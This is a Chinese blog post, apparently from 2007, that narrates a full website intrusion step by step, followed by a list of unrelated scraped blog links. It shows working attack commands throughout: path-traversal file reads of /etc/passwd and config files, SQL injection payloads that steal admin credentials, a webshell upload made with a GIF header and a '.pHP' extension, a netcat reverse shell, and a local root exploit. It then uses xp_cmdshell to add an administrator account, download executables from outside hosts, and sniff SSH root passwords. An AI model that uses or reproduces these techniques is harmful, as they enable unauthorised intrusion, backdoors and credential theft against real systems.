拿到了站大概看了一下.PHP LINUX APACHE MYSQL组成.貌似还有一处用了一个让我无法决定的数据库.首先我们从

整个站的结构开始了解. 拿出WWWSCAN 由于我经常检测国外的站我收集了很多敏感的目录文件等等 当然软件作者

也收集了许多有用的.结果返回大概目录有

/admin/

/config/

/news/

/news/newadmin/

/news/newadmin/test.php

/admin/test.php/info.php

省略..

有用的就这些.因为我最想要的就是后台.至少有了管理员的USER&pASS有了能用的地方.

admin目录访问提示403 newadmin出来一个登录页.丫的开心.请出GOOGLE.

site:test.com inurl:php

site:test.com admin

site:test.com login

site:test.com filetype:php | asp | jsp | aspx | jsp | 由于是想看看其他子站有没有WIN系统.这样好插手.结果只有PHP 而且子站大多都是有HTML组成的

搜到这些大概得到了些信息.大概看到了网站组成脚本的名称 心里感觉可疑的可以注的点.还有一些比较少见的页面.大家SEACH下会有这样的感觉的

打开工具箱.有个FUCKGOOGLE.exe 可以搜集所有GOOGLE搜到的URL 做成一个HTML给你.然后很多链接.大家可以在AD注入工具里打开这个页面让AD扫.

就算AD不是注MYSQL的.至少也分的清楚AND 1=1 和AND 1=2的区别.在AD放了10分钟后看了下结果.没啥好玩的...放弃GOOGLE.{注:这其中大家一定得耐心的观察}

好了没戏了.既然ADMIN目录403就从他那开始下手.随便猜了几个登录页面.RP问题没出来.在WWWSCAN跑了一下 啥都木有..汗. 放弃...

新闻系统啊 新闻系统..你咋就是个新闻系统咧.后台至少可以让我用溯雪跑一下.就算不科学 也碰碰运气... 跑完了没戏 {注:当然在这过程中你可以做其他的)

有了后台我怕 就是认证的问题.到处找点.一直都没找到.有个VOTE.进去看了一下...谁谁谁 %xx. GET了' 出错了.PHP送给我路径. and 1=2 返回结果正常.和1=1没啥区别.汗.再来

/**/and/**/1=2 还是一样 大家当我在放屁吧.放弃 继续找.... 找啊找..突然看到了个这么个URL read4.php?files=include/hellokitty.html 这么个连接. 去掉hellokitty.html PHP提示

Warning: Smarty error: unable to read resource: "include" in in /home/httpd/html/libs/test.php on line 1095

嘿嘿 爽了.接着我随便找了一个他们站的图片 提交 read4.php?files=../img/bar_logo.jpg 嘎嘎. 返回的结果是?\u0010JFIF\u0001\u0002dd?\u0011Ducky\u0001\u0004\u000EAdobed\u0001 省略....

好继续.提交read4.php?files=../read4.php 返回

require '../libs/xxxx******(假的).php';

include 'sqlfunc_csm2.inc';

session_start();

.....省略

有进展继续.提交read4.php?files=../sqlfunc_csm2.inc

拿到的当然是MYSQL USER&pASS啦.前提不是ROOT.

好了.虽然没找到点至少找到了一个另类的load_file.不管3721继续攻击!!!

read4.php?files=../../../../../etc/passwd

当然出来咯.找了几个有/BIN/BASH的用户 用MYSQL的密码去尝试SSH结果失败.

不急.再来.我们必须得找到点.花了一个小时的功夫....

还是没找到点.无奈之下用MAXTHON查看源代码.就是表单啦.搜索php 啊.无意中搜到一个很奇怪的页面我在GOOGLE中也没见过 好像是调用的吧.无聊

具体是../dj?msb=908 好家伙打开它...返回让我一滴汗落下来...就出来个3456.最后我才发现这个页面为了统计用户访问的次数.

加了个'出错了. 1=2 1=1. ^_^ 功夫不负有心人. 我注我注我注.我直接注死.

and 1=2/**/union/**/select/**/1,2

好了 返回正常...

and 1=2/**/union/**/select/**/1,user()

返回刚才我暴出来的MYSQL.有些朋友就问了.你都拿到MYSQL密码了.你怎么还不去连人家数据INTO FILE呢?大哥我希望您看清楚.上面我说的结果20.*.*.* 影射..多的废话我不想说.

and 1=2/**/union/**/select/**/1,database()

没错喔.出来的和暴出来的库一样.看你丫的我咋玩你.万事齐全.就是管理员帐号和密码了.

问题来了.表名....这个简单啦.用刚才暴文件的方法去暴login.php或它所POST的文件就可以找到表明了.大家懂我意思吧.继续注

and 1=2/**/union/**/select/**/news_admin,news_password/**/from/**/administrator55991 (BT吧 管理员很有意识)

暴出来了.密码是BASE64 大家可以到http://makcoder.sourceforge.net/demo/base64.php 来解开.或者用CAIN的附加功能.或者一会我给大家发个编码工具非常好用.

好了.拿到帐号密码了.进入后台.编辑新闻和发布新闻.其他的说了浪费时间.当然有上传功能啦.乐呵呵的上传个php. ...

.....

神啊救救我吧.我都够麻烦了..

必须上传JPG或GIF.我砸电脑的念头都有了...

稳定稳定..继续...先找了一个真正的图片.后缀改成.fuck 上传!! 提示成功.看了下上传的后辍.没错.是.fuck.

娘地.原来破东西只检测GIF头.再来.在C99头上加个GIF头GIF89a 上传!!!!

失败!!!!!!!!!!!!!!!!!!!!!

稳定下..传了个加GIF头的JSP和CGI.上传成功 不过人家服务器不解析.

一根烟 出去呼吸一下新鲜空气.突然抽烟的时候灵光一闪...对了!!!

上传后缀为.pHP带GIF头的马儿...哇塞!!!! 成功咧.爽.{注意大家看清楚.PHP Php pHp等等的组合方式 具体原理我就不解释了.各位牛都都知道.速破黑(SUPERHEI)的文章有写

输入密码进入WEBSHELL...既然进来了.我们就搞个顶翻天.

这感觉真好啊.555555.进来以后上传个NSTVIEW.php 进入TOOLS选项. 有个BACKDOOR. 本机执行nc -vvlp 520

点下Start 回来了个SHELL. 好开始提权.拿到肉特....

提交id

nobody.

提交uname -a

废话 不然APACHE白做APACHE啊 白痴!!! -.-

linux 2.4.20 xxxxxxx

其实这中间也很巧合.可能运气好吧.我用brk.c 成功提到肉特...

brk.c 大家可以去www.milw0rm.com seach下...

开始提权...

$gcc brk.c -o brk

$./brk

.....省略....

#sh.x.x

好了.继续.

nmap -v -sS 20.1.0.1/16

返回一大堆.有一台WIN机器.大概是2K.LINUX使上不舒服.先搞定他吧.

开了139 445 1433 3389 5900

#netstat -an

发现这台机器还连接着那台2K的1433 狂喜...

记得前面的ADMIN目录吗?403那个...我大概看了下那个目录的文件仔细观察看.include sql.php 紧张的打开sql.php 哇/se/se/se 运气实在好的不行了..

是SA喔.但是问题又来了...APACHE+LINUX不支持MSSQL啊.我又是菜鸟一只.又不会写PHP... GOOGLE了下搜到了好东西

freetds. LINUX管理MSSQL的工具. 赶快下载下来安装

# wget http://xx.xx.com/freetds.tar.gz

# tar -zxvf freetds.tar.gz

# cd freetd./configure --prefix=/usr/local/freetds --with-tdsver=7.0

#gmake (生成Makefile,我试验过,make也可以)

#gmake install (安装)

OK了.继续

#cd bin

#./tsql -h 20.1.0.9 -p 1433 -U sa -P XXXX98#4    登录成功后会出现>

>exec master.dbo.xp_cmdshell net user Randy xxxxx /add

>exec master.dbo.xp_cmdshell net localgroup administrators Randy /add

>exec master.dbo.xp_cmdshell ftp 12.12.12.12 | "Randy" | "121212"|"get down.exe"|"bye"| 我就省略的写了...具体是那个FTP的BAT.大家都知道吧.

>exec master.dbo.xp_cmdshell down.exe http://www.xx.com/vidc.exe VIDC大家都会配置吧.

>exec master.dbo.xp_cmdshell down.exe http://www.xx.com/vidc.ini

>exec master.dbo.xp_cmdshell vidc.exe (执行之前 本地执行 vidc.exe -p 7777

>exit

好了.VIDC的端口也映射过来了.链接本地的127.0.0.1:7777 进到终端.安装CAIN 开始SNIFF.

那服务器也没人管.1天半后.嗅到了SSH的密码.ROOT $*2323****

全段都是相同帐号密码.就这一台WIN. 就这样网关帐号密码.SSH 等等 更别提数据库了

posted on

2007-09-10 17:29

%5C

阅读(984)

评论(1)

编辑

收藏

linux php连接mysql权限不够_PHP LINUX APACHE MYSQL权限挣扎相关推荐

  1. php框架 mysql拼接操作_PHP对数据库MySQL的连接操作

    PHP对数据库MySQL的连接操作 PHP可以利用扩展.框架进行对数据库的CURD操作.当连接MySQL数据库服务器的时候,PHP中提供的用于MySQL的主要API有三种:mysql扩展.mysqli ...

  2. php输出mysql的数据结构_php课程 13-43 mysql的数据结构是什么

    php课程 13-43 mysql的数据结构是什么 一.总结 一句话总结:cs结构,客户端,服务器 1.常用的比较出名的数据库有哪些? SQL数据库(关系型): 1.收费: DB2 Sqlserver ...

  3. php面试mysql数据库题_PHP面试题 - MySQL数据库

    1. 写出下面2个PHP操作Mysql函数的作用和区别(新浪网技术部) mysql_num_rows() mysql_affected_rows() 这两个函数都作用于mysql_query($que ...

  4. php mysql 实现原理_PHP底层和mysql的通信原理

    要清楚的几个概念: FPM进程:进程数在php-fpm.ini中设置.没有设置 max_requests ,那么进程是不会销毁的,也就是说当一个进程里面出现死循环或者内存溢出等导致进程僵死的情况出现的 ...

  5. mysql+php+服务器配置_php服务器配置(php+mysql+iis)步骤

    本文介绍了php服务器配置的详细步骤,环境为php+mysql+iis,掌握下php环境搭建的方法,有需要的朋友参考下. 本节内容: php服务器环境搭建方法. 软件准备 iis6.php-5.2.8 ...

  6. php mysql需要服务器配置_php服务器配置(php+mysql+iis)步骤

    本节内容: php服务器环境搭建方法. 软件准备 iis6.php-5.2.8-win32.fcgisetup32.mysql-5.0.27-win32 安装过程 一.安装 php服务器环境 1.ph ...

  7. linux es连接mysql_LINUX下使用elasticsearch-jdbc工具实现MySQL同步到ElasticSearch 以及linux 64位centos系统安装jdk1.8...

    第一步:环境匹配 1)elasticsearch 2.3.3 成功安装部署 2)mysql安装成功,增删改查无误~~. 3)要保证elasticsearch-jdbc的版本要与elasticsearc ...

  8. linux登陆连接信息,成功登录后Linux关闭连接

    我正在使用Debian 5.2.2在服务器上工作.我几乎没有 Linux的管理知识,我觉得搞砸了.我使用apt-get update和apt-get upgrade来获取最新信息然后我下载并安装了Ap ...

  9. linux tcp连接计算机,计算机基础知识——linux socket套接字tcp连接分析

    2016.7.4 今天晚上对项目顶层文件(daemon)进行了分析,对其中的TCP连接进行具体的代码级分析. 1.需求分析 首先得知道我们这里为什么要用TCP连接,我们的整个测试系统是由上位机作为客户 ...

  10. linux系统连接校园无线网络,基于Linux环境下校园无线网络安全平台的设计与实现...

    摘要: 无线网络具有灵活性和移动性,安装便捷,联网成本低,可以随时随地上网.校园网无线功能可以提供日常互联网连接外,还能够将校内的精品课资源,网络电子学习资源,OA系统的使用等都转移到移动设备上实现. ...

最新文章

  1. 凯撒密码C语言去掉空格字符,凯撒密码的问题C语言
  2. mysql+where+且,MySQL WHERE
  3. Windows Mobile的高效贴图
  4. SQL Server索引进阶第十篇:索引的内部结构
  5. ASP.NET Core 1.0中的管道-中间件模式
  6. 基本数据类型、包装类、String三者之间的相互转换
  7. 数据结构链表之栈,Python3简单实现——5
  8. 2008 r2 server 提权_Windows UAC 本地提权(CVE-2019-1388)
  9. 俺重装系统后一些小配置(给自己备忘)
  10. 帆软高级函数应用之时间函数
  11. sql语句 替换数据库中某字段中的特定字符
  12. 大学英语综合教程四 Unit 2 课文内容英译中 中英翻译
  13. PyCharm取消波浪线、下划线和中划线
  14. 【Git】规范化 Git 提交信息 Commitizen
  15. oppo小布机器人_OPPO小布助手2.0强势来袭 三大版块迎来重大升级
  16. 花998购买的拍摄技巧和7天起号培训文档,学了一周的总结。
  17. 码流格式: Annex-B, AVCC(H.264)与HVCC(H.265), extradata详解
  18. macOS:删除DNS
  19. 机器学习领域各领域必读经典综述论文整理分享
  20. C语言 编写函数求n个整数的和

热门文章

  1. 古代汉语(王力版)笔记
  2. 遗传算法c语言代码实验报告,遗传算法的c语言程序
  3. Java 连接 数据库 (idea2022 + MySQL 演示,Oracle 通用)
  4. amos调节变量怎么画_结构方程模型建模思路及Amos操作--调节变量效果确定(二)...
  5. 前端页面,引入PingFang SC(苹方简)字体
  6. pickerView的简单使用
  7. 洛谷oj---1036 选数
  8. 安卓pdf 控件使用说明
  9. Logisim实验一
  10. 《算法竞赛入门经典》例题5.4.1